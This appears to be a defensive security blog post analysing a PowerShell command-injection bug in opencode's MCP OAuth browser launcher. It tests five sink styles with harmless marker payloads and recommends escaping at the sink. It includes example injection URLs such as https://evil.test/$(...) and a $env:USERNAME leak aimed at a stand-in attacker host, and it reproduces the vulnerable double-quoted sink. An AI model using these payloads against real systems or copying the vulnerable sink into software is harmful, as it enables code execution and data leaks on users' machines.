TL;DR
- What happened: per a Pillar Security write-up published 2026-10-19, opencode on Windows and WSL (versions 1.0.137 through 1.18.32) took the
authorization_endpointfield from an MCP server's OAuth discovery document and handed it to a browser-opener that built a PowerShell command around it. A URL likehttps://evil.test/$(...)is a completely ordinary, valid https URL, and PowerShell expands$(...)inside double quotes. The fix shipped in 1.18.33 on 2026-09-28. No CVE was assigned, so a scanner that reads advisories will not tell you whether you are exposed. - What I measured: I rebuilt the command-construction step for five sink styles using the published source of the
openpackage, ran each against five URL payloads on Windows PowerShell 5.1, and wrote only harmless marker files. Every payload passes an "is this http(s)?" check. - What I found: the original double-quoted sink ran code for 2 of 4 injection payloads on the raw string, and still ran 1 of 4 after normalizing with
new URL(...).href. A "just use single quotes" patch still ran code for 2 of 4 raw (1 of 4 normalized). Doubling only the ASCII quote still ran 1 of 4 raw, through a typographic quote. The escaping used byopen11.0.4, and passing the URL as data in an environment variable, ran 0 of 4 in every configuration. - The lesson for agent builders: validating the shape of a value at the boundary is necessary and not sufficient. The check that closes the hole is the one that knows which interpreter will read the string next.
- Everything below was run on 2026-11-07, on one machine. I did not run opencode or the real launcher; I rebuilt the string construction from published source. Limits are listed near the end.
What did the opencode MCP OAuth bug actually do?
MCP servers that need authorization publish discovery metadata, and one of the fields in that metadata is authorization_endpoint, the URL the client should open in a browser so a human can approve access. RFC 8414 defines that field for OAuth server metadata. The important property is who writes it: the server you are about to authenticate to. In the words of the Pillar write-up, it is a free-form string and the server being authenticated picks it.
opencode took that string and passed it to its browser launcher. On Windows and WSL the launcher is the open npm package, which does not call a browser directly. It builds a PowerShell command and runs it. The write-up traces the flow through oauth-provider.ts, mcp/index.ts and browser.ts into open(), and names open@10.1.2 as the version in the vulnerable range. The example payload in the report is a legitimate https URL with a PowerShell subexpression in the path.
The timeline matters for how you would have found out about it. Pillar reported it privately on 2026-08-29. The fix released as opencode 1.18.33 on 2026-09-28 (I confirmed that release date from the GitHub API), and the write-up went public on 2026-10-19. According to the write-up, the vendor treated a malicious remote MCP server as outside its threat model, so there is no CVE and no security advisory. For a team that inventories exposure from advisories, this bug does not exist.
Why does a validated https URL still become code?
Because the validation and the interpreter disagree about what the string is. A URL validator asks "is this a well-formed http or https URL?" PowerShell asks "is this a double-quoted string with expandable parts?" The same characters answer both questions differently.
This is the relevant code in open 10.1.2 on Windows. I read it from the published tarball:
const encodedArguments = ['Start']; // ... } else if (options.target) { encodedArguments.push(`"${options.target}"`); } // ... options.target = Buffer.from(encodedArguments.join(' '), 'utf16le').toString('base64'); The target is wrapped in double quotes and becomes the argument of Start. The whole command is then Base64-encoded and passed with -EncodedCommand. The encoding is there so special characters survive the Windows command line. It does nothing about what PowerShell does with the string once it decodes it. In a double-quoted PowerShell string, $name and $(...) are expanded, and the double quote itself ends the string.
Now compare that with what a scheme check sees. $, parentheses, brackets, semicolons and the apostrophe are all legal in a URL path. The report notes that the payload has no spaces, which is the property that lets it sail through whitespace and scheme filters. The MCP SDK's own denylist, as described in the report, blocks javascript:, data: and vbscript:, and a string starting with https:// is none of those.
How did I test it without running anything dangerous?
I rebuilt the one step that matters: the string that gets embedded in the PowerShell command. The harness is a short Node script. It does three things.
- It builds five URL payloads. Each is a valid https URL with no whitespace. One is a
$(...)subexpression, one is a$env:USERNAMEvariable, and three are quote breakouts (ASCII double quote, ASCII single quote, and the typographic right single quote U+2019). - For each of five sink styles it builds the command text, Base64-encodes it the way
opendoes, and runs it under Windows PowerShell 5.1.Startis replaced with a function namedShow-Targetthat just prints its argument, so no browser ever launches. - The "injected" code writes a marker file into the temp directory, nothing else. After each run the script checks whether the marker exists, then deletes it.
The core loop is small:
import {executePowerShell} from './vendor/powershell-utils/index.js'; // powershell-utils 0.2.1, the dependency open@11 uses const sinks = { A_dq_interp: u => `Show-Target "${u}"`, // open 10.1.2 shape D_sq_naive: u => `Show-Target '${u}'`, // "just use single quotes" C_sq_ascii_only: u => `Show-Target '${u.replaceAll("'", "''")}'`, // double only the ASCII quote B_open_11: u => `Show-Target ${executePowerShell.escapeArgument(u)}`, // open 11.0.4 E_env_var: u => `Show-Target $env:TARGET`, // URL travels as data }; const run = (cmd, target) => spawnSync(PS, [...executePowerShell.argumentsPrefix, executePowerShell.encodeCommand(prelude + cmd)], {encoding: 'utf8', env: {...process.env, TARGET: target}}); Each payload goes through every sink twice: once as the raw string the server sent, and once after new URL(raw).href, which is the normalization the opencode fix applies before calling open. All five payloads pass an http/https scheme check. For the fidelity test I also ran four ordinary URLs that a real service might send, such as one with price=$100 in the query and one with an apostrophe in the path.
What happened for each sink style?
Counts are payloads that executed code, out of the four injection payloads. The fifth payload ($env:USERNAME) does not run code, it leaks a value, and I report it separately.
| Sink style | Raw string | After new URL().href | Variable leak ($env:USERNAME expanded) |
|---|---|---|---|
A: double-quoted, open 10.1.2 shape | 2 of 4 (subexpression, " breakout) | 1 of 4 (subexpression) | Yes, both |
| D: single-quoted, no escaping | 2 of 4 (' breakout, U+2019 breakout) | 1 of 4 (' breakout) | No |
C: single-quoted, ASCII ' doubled | 1 of 4 (U+2019 breakout) | 0 of 4 | No |
B: open 11.0.4 escapeArgument | 0 of 4 | 0 of 4 | No |
| E: URL passed in an environment variable | 0 of 4 | 0 of 4 | No |
Four things in that table are worth slowing down for.
Normalization helps, and it is not the fix. WHATWG URL parsing percent-encodes the double quote and non-ASCII characters in a path, so " became %22 and the typographic quote became %E2%80%99. That killed the double-quote and typographic-quote payloads. But $, parentheses, brackets, semicolons and the ASCII apostrophe pass through untouched, so the subexpression still ran on sink A and the apostrophe breakout still ran on sink D. This lines up with the write-up's observation that the real closure came from the dependency upgrade and not from the scheme check.
The variable leak survives everything except real escaping. https://evil.test/$env:USERNAME is not code execution, but the browser would be sent to the attacker's host with my account name in the path. That is an exfiltration channel with no code run at all, and it survived normalization on sink A.
"Use single quotes" is the patch people reach for, and it fails twice. Sink D stops $(...) expansion, which is the headline payload. It still breaks on an apostrophe, because the apostrophe is the string terminator now. Sink C fixes that by doubling the ASCII apostrophe, and it still ran one payload.
The one that got through sink C is the instructive one. Windows PowerShell's tokenizer treats the typographic single quotes U+2018, U+2019, U+201A and U+201B as string delimiters, exactly like the ASCII one. Escaping only the ASCII character leaves four other characters that can end the string. The comment in powershell-utils 0.2.1 says exactly this, and my run confirms it on 5.1: escapeArgument doubles all five characters, and that is the version of the logic that ran 0 of 4.
Does the fix cost anything in correctness?
Yes, and that is the second reason to fix the sink and not the input. The same unescaped sinks that are exploitable also damage ordinary URLs.
On sink A, https://shop.example/p?price=$100&cur=usd arrived as https://shop.example/p?price=&cur=usd because PowerShell read $100 as a variable that has no value, and https://example.com/a/$value/b became https://example.com/a//b. On sink D, the URL https://docs.example/it's-here was a parse error and nothing ran at all. Sinks C, B and E delivered all four ordinary URLs byte for byte. A defensive fix that also repairs real links is easier to justify in review than one that only closes a hypothetical attack, and this is a case where both arguments point the same direction.
What should an agent builder do about this class of bug?
The pattern is not specific to PowerShell or to opencode. Any time model-influenced or server-influenced text is embedded into a string that another interpreter will read (a shell, a PowerShell command, a SQL string, a template, an eval), the text crosses a trust boundary that your input validation does not see. Four rules follow from the measurements above.
- Escape or separate at the sink, never only at the source. The fix that held was
escapeArgumentat the point the command text is assembled, and the other fix that held took the string out of the command text entirely. - Prefer data channels to code channels. Sink E never puts the URL in the command. The command text is constant, and the URL travels in an environment variable or an argument vector. There is nothing to escape because there is no parse step.
- Treat discovery metadata as attacker-controlled input. The server being authenticated chose the
authorization_endpoint. Binding OAuth endpoints to the origin you configured, as the write-up recommends, removes the attacker's freedom to pick any host and any path. - Do not rely on advisories to learn your exposure. This was fixed without a CVE. Pin and inventory the browser-opener and shell-launcher dependencies in your agent tooling directly, and read their changelogs.
Here is the launcher shape I would use on Windows. I confirmed the principle with an echo-style test (a URL carrying a $(...) payload, a $env: reference and an apostrophe came out byte for byte identical, and the marker file was not created), but I did not launch a browser from it:
import {spawn} from 'node:child_process'; const PS = 'C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe'; export function openUrl(raw) { const u = new URL(raw); // reject unparseable input if (!['http:', 'https:'].includes(u.protocol)) throw new Error('scheme not allowed'); return spawn(PS, ['-NoProfile', '-NonInteractive', '-Command', 'Start-Process -FilePath $env:OPEN_TARGET'], { env: {...process.env, OPEN_TARGET: u.href}, // data, not code stdio: 'ignore', }); } Keep the scheme check. It is still a sensible layer, and it is what stops file: and UNC paths from reaching the launcher. Just do not mistake it for the layer that stops injection.
What are the limits of this test?
- I did not run opencode, and I did not run the real
openlauncher. I rebuilt the string construction from the published 10.1.2 source and ran it against a stand-in function. The real package may have details I did not reproduce. - One machine, Windows PowerShell 5.1 only. PowerShell 7 and the WSL path were not tested.
- Five payloads and four ordinary URLs. The counts show which sink styles fail, not how many ways each can fail.
- The facts about the disclosure timeline, the affected range and the missing CVE come from the Pillar Security write-up. The release date of 1.18.33, the merge of the opencode pull request #51414 on 2026-09-25, and the
open11.0.4 publish date of 2026-09-14 are from the GitHub and npm APIs. Theopenpackage had about 223 million downloads in the week ending 2026-11-05 per the npm API. - The injected code only wrote a marker file into the temp directory. I removed those files after each run.
FAQ
Is a valid https URL safe to pass to a shell?
No. URL validity is about the URL grammar. Characters such as $, parentheses, semicolons and apostrophes are legal in a path and are meaningful to PowerShell and to POSIX shells. Safety depends on how the string is embedded, so escape at the sink or pass it as data.
Was opencode on macOS or Linux affected?
Per the write-up, only Windows and WSL, because that is where open builds a PowerShell command. In the open source I read, the other platforms spawn the opener program with the URL as a separate argument.
Does updating to opencode 1.18.33 or later fix it?
According to the write-up, yes: the fix bumped open from 10.1.2 to 11.0.4 and added scheme checks. My test agrees that the dependency's escaping is the part that holds, since scheme checks plus normalization alone still left the subexpression payload running on the old sink shape.
How do I find similar bugs in my own agent tooling?
List every place text from a model, a tool result or a remote server is concatenated into a command string. For each, write down which interpreter reads it, then test it with a harmless marker payload for that interpreter. The harness above is under 100 lines.
Why does a bug without a CVE matter for agent security?
Because vulnerability management usually starts from advisories. A fix released as a refactor leaves no advisory to trigger an upgrade, so the exposure window lasts as long as nobody reads the changelog.
Further reading
Earlier posts in this series:
- The "Read-Only" Fast Path Is Your Weakest Gate: A Newline Let Hidden Commands Through an Agent's Bash Check (published 2026-11-05, same series)
- The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Arguments (published 2026-10-21, same series)
Sources
- Pillar Security, "Open and shut: remote code execution in opencode via MCP OAuth" (2026-10-19): https://www.pillar.security/blog/open-and-shut-remote-code-execution-in-opencode-via-mcp-oauth
-
opennpm package, versions 10.1.2 and 11.0.4, andpowershell-utils0.2.1 (published source and registry metadata) - opencode pull request #51414 and the v1.18.33 release (GitHub API)
- RFC 8414, OAuth 2.0 Authorization Server Metadata